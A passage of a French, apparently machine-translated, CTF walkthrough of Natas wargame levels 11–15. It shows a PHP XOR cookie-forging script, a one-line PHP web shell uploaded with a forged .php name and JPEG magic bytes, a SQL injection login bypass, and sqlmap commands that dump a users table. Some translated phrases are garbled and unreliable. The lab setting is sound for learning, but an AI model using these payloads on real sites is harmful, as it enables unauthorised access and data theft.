Natas Web. Passage de la plateforme CTF visant à exploiter les vulnérabilités du Web. 2e partie

image

Dans cet article, nous traiterons du fonctionnement de certaines identités WEB en utilisant le wargame Natas comme exemple. Chaque niveau a accÚs au mot de passe de niveau suivant. Tous les mots de passe sont également stockés dans les fichiers / etc / natas_webpass /. Par exemple, le mot de passe de natas5 est stocké dans le fichier / etc / natas_webpass / natas5 et est en lecture seule pour les utilisateurs natas4 et natas5.

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de rĂ©seau (rĂ©seau);
  • reverse (Reverse Engineering);
  • stĂ©ganographie (Stegano);
  • recherche et exploitation des vulnĂ©rabilitĂ©s WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaßne dans Telegram et un groupe pour discuter de tout problÚme dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

niveau 11


Analyser le code:

  1. le mot de passe sera disponible si la valeur du tableau de données avec la clé showpassword est «yes»;

    image
  2. le tableau de données est créé par la fonction loadData, dans laquelle les données par défaut sont passées en paramÚtre;

    image

    image
  3. la fonction loadData charge les valeurs de données à partir d'un cookie (code les données en base64, chiffre xor sur une clé inconnue, décode les données au format json);

    image

    image
  4. définit les valeurs reçues.

Ce que vous devez faire:

  1. récupérer la clé de chiffrement XOR:
    • prendre des donnĂ©es cryptĂ©es Ă  partir d'un cookie;
    • dĂ©coder base64;
    • encoder les donnĂ©es par dĂ©faut au format json;
    • Proxor a reçu les dĂ©lais.
  2. encoder et chiffrer les nouvelles donnĂ©es en utilisant l'algorithme inverse, oĂč showpassword == yes ;
  3. insérez les nouvelles données dans le cookie et rechargez la page.

image

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?> 

image

image

niveau 12


Lorsque vous enregistrez le fichier sur le site, il est enregistrĂ© sous un nom alĂ©atoire et une extension JPEG. Mais la chose la plus importante est que ce nom est formĂ© et fourni Ă  l'utilisateur dans un champ cachĂ© du formulaire cachĂ© avant mĂȘme que le fichier ne soit sĂ©lectionnĂ©, et ensuite il est envoyĂ© au serveur avec le fichier.

image

TĂąche: crĂ©er php-shell, intercepter la requĂȘte au serveur et
changez le nom du fichier en * .php.

 <? echo system($_GET["cmd"]); ?> 

image

Nous utilisons Burp Suite: nous définissons les paramÚtres du proxy du navigateur sur 127.0.0.1:8080. Envoyez le shell. Dans l'onglet Proxy, nous remplaçons la demande.

image

image

image

Nous nous tournons vers notre fichier sur le serveur, en passant des commandes Ă  la ligne de commande via le paramĂštre cmd.

 cat /etc/natas_webpass/natas13 

image
Ce type de vulnérabilité est classé comme Téléchargement de fichier sans restriction.

Pour crĂ©er un Shell, il est prĂ©fĂ©rable d'utiliser des constantes php, car l'exĂ©cution des fonctions systĂšme peut ĂȘtre interdite par les paramĂštres du serveur.

niveau 13


Lors de l'enregistrement du mĂȘme shell sur le serveur, on nous dit que ce n'est pas une image. Nous analysons le code.

image

La fonction exif_imagetype est présente.

image

image

Pour vérifier le fichier JPEG, cette fonction utilise la fonction interne is_jpeg, qui vérifie les quatre premiers octets du fichier.

image

Le fait est que l'interpréteur php exécute du code compris entre <? ?>, en sautant tous les autres personnages. Ouvrez le shell du niveau précédent dans l'éditeur hexadécimal et ajoutez les octets 0xFFD8FFE0 au début du fichier.

image

Envoyez sur le site par analogie avec le niveau précédent et obtenez un mot de passe.

image

niveau 14


Une erreur courante dans le formulaire d'autorisation. RequĂȘte de base de donnĂ©es:

 SELECT * from users where username="username" and password="password"; 

image

Il est possible de toujours rendre la demande vraie: login = "admin" ou 1 = 1 - ".

image

Dans ce cas, ou 1 = 1 renvoie vrai, et le reste de la demande est mis en commentaire:

 SELECT * from users where username="admin" or 1=1; 

Nous enlevons le mot de passe.

image
Ce type de vulnérabilité appartient à la catégorie de l'injection SQL.

niveau 15


Sur ce formulaire, nous analysons le fonctionnement de sqlmap. Envoyez une demande et interceptez les donnĂ©es et l'en-tĂȘte HTTP.

image

image

Nous sĂ©lectionnons uniquement les informations nĂ©cessaires dans l'en-tĂȘte. Dans ce cas: User-Agent, Referer, Authorization. DĂ©finissez les paramĂštres sqlmap:

  • -u "URL"
  • --headers = "En-tĂȘtes HTTP, sĂ©parĂ©s par` \ n`"
  • --data = "DonnĂ©es de requĂȘte POST"
  • --current-db - dĂ©termine quelle base de donnĂ©es est utilisĂ©e
  • --tamper = space2comment - remplacez l'espace par la chaĂźne / ** / (en SQL, c'est la mĂȘme chose)
  • --level = (1-5) - niveau de scan
  • --risk = (1-3) - risque de numĂ©risation

image

Sqlmap a déterminé que le paramÚtre de nom d'utilisateur est vulnérable à l'injection aveugle basée sur les booléens et a montré la bonne réponse de la base de données à l'événement correct (dans l'analyse suivante, vous pouvez immédiatement spécifier le paramÚtre vulnérable et le type d'injection: -p nom d'utilisateur et --technique = B).
B: injection SQL aveugle basée sur des booléens
U: injection SQL de requĂȘte UNION
T: injection SQL aveugle basée sur le temps
E: injection SQL basée sur des erreurs
S: injection SQL de requĂȘtes empilĂ©es

Sqlmap a détecté le SGBD MySQL (dans les analyses suivantes, le paramÚtre --dbms = MySQL) et a demandé s'il était nécessaire de déterminer la version de mysql (la valeur par défaut est oui).

image

Sqlmap a signalé que la version de MySQL> = 5.0.12 (cela est nécessaire pour sélectionner les constantes de l'utilitaire SGBD).

image

Sqlmap a dĂ©terminĂ© la charge du paramĂštre de nom d'utilisateur et a demandĂ© si d'autres paramĂštres devaient ĂȘtre vĂ©rifiĂ©s (par dĂ©faut, non). Il montre Ă©galement la charge.

image

Fournit des informations sur le nƓud et, comme nous l'avons demandĂ©, la base de donnĂ©es actuelle: natas15.

image

image

Compte tenu des nouvelles données connues, nous apprenons les tables de la base de données natas15:

  • -D "base de donnĂ©es"
  • --tables - dĂ©finir des tables

image

Sqlmap a défini une table d'utilisateurs.

image

Nous reconnaissons les colonnes du tableau des utilisateurs:

  • -T "table"
  • --colonnes - dĂ©finir des colonnes

image

Sqlmap a défini 2 colonnes.

image

Nous vidons la table des utilisateurs (option --dump). Le vidage a pris 3 minutes. Nous exécutons la demande en 8 threads (--threads 8) - en conséquence: 1 minute.

image

Nous enlevons le mot de passe.

À suivre. Vous pouvez nous rejoindre sur Telegram .

Source: https://habr.com/ru/post/fr464443/


All Articles